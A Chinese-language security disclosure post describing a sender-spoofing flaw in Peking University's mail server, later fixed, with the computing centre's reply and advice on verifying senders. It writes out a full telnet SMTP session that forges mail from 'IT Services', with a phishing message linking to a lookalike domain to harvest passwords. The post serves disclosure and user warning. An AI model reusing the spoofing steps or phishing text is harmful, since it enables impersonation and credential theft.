PKU Mail 的一个严重安全问题【已修复】

Update [2022]:该问题已静默修复

对于 @pku.edu.cn 的邮箱账号,每个用户都可以设置多个别名,比如我拥有 noreply@学号@ 等多个前缀。对于 PKU Mail 的服务端来说,服务端在实现别名的时候实现出了明显的问题,导致任何一个用户都可以任选自己的发信前缀;换言之,每个拥有 PKU Mail 的用户都可以伪装成任何 PKU 用户进行发信。

举例来说,假设你是 [email protected],密码是 P@ssw0rd。首先我们把用户名和密码都使用 base64 编码,编码的结果是 YmFkZ3V5QHBrdS5lZHUuY24= 与 UEBzc3cwcmQ=。利用 telnet mail.pku.edu.cn 25,然后输入如下命令:

ehlo smtp.pku.edu.cn
auth login
YmFkZ3V5QHBrdS5lZHUuY24= # base64(username)
UEBzc3cwcmQ= # base64(password)
mail from:<[email protected]>
rcpt to:<[email protected]>
data
From: "IT Services" <[email protected]>
To: "Bob" <[email protected]>
Date: Thu, 23 Sep 2021 11:11:11 +0800 (GMT+08:00)
Subject: Your email is hacked!

Your email is hacked. Please log in to https://mail.pku-edu.cf/ to reset your password.

.

quit

你就可以以 [email protected] 发送一封钓鱼邮件。

注意到,上面的这个极小例子中,有三个和发件有关的邮箱。第一个是验证邮箱(下称 Auth),一个是 mail from 后面的邮箱(下称 Sender),一个是 data 里面 From 后面的邮箱(下称 From)。

对于正常的邮箱服务端来说,一般验证的是 Auth = Sender 才能发送,但 From 应当可以随意设定;在 From \(\neq\) Sender 的时候,客户端会显示为“发件人 From(由 Sender 代发)”。客户端不会看到 Auth 的任何信息。

但对 PKU Mail 的服务端来说,三个之间可以任意设定,因此可以完全伪装其他人发送信息

在联系计算中心之后,计算中心给出了如下的回复:

由于北大邮箱用户每人有 学工号@pku.edu.cn和 别名@pku.edu.cn 这2个邮件地址,使用客户端发信时,北大邮件服务器不能要求认证用户和发信人一致。这是历史原因造成的。

如果北大邮件服务器上增加这个限制,将使得现有的大量客户端用户都可能需要修改客户端软件设置,可能影响到他们使用北大邮箱。

邮件系统反垃圾邮件有很多措施,我们还有其他的安全措施来防范垃圾邮件。

这样的回复给人一种不负责任的踢皮球之感。首先,我当然知道这个邮件别名的问题,我就是在测试邮件别名发件的时候才发现这个问题的;其次,正确的解决方案不应该是保证 Auth = Sender,而是要求 Auth 和 Sender 属于同一个用户(人)。

举个例子来说,Gmail 在注册一个邮箱之后,允许你加入任意的半角句点、或者加上一个加号和一个后缀当作别名(Sender);例如 [email protected] 拥有 [email protected] 与 [email protected]。Gmail 的邮件服务器在收到发件请求之后会验证 Auth 和 Sender,因此这证明了这样的验证方式技术上是可行的。

所以,对于一般用户(不仅仅是 PKU Mail 用户,而是任何收到来自 @pku.edu.cn 的人)而言,需要知道任何来自 @pku.edu.cn 的邮件都不能保证发件人是真人。对于敏感内容而言,请务必核实身份。注意到,这一方法只适用于发件,不适用于收件,因此如果主动询问了该用户、并且收到了回复,相对来说较为可信。此外,也可以通过其他非邮箱途径验证真实性。

此外,邮件点对点加密(S/MIME 或 GnuPG)也可以通过密码学方案验证发件人的真实性,因此敏感邮件内容请务必采用相关方法,并通过线下等安全方法验证密钥。

我之所以在此公开这一问题,不是因为垃圾邮件什么的,而是这种伪造发信会极大降低 @pku.edu.cn 邮件的可信度;由于计算中心拒绝修复这一问题,而这一方法可以被恶意利用来往互联网的所有地方发信,因此整个互联网都理应知道这一问题,才能避免蒙受损失。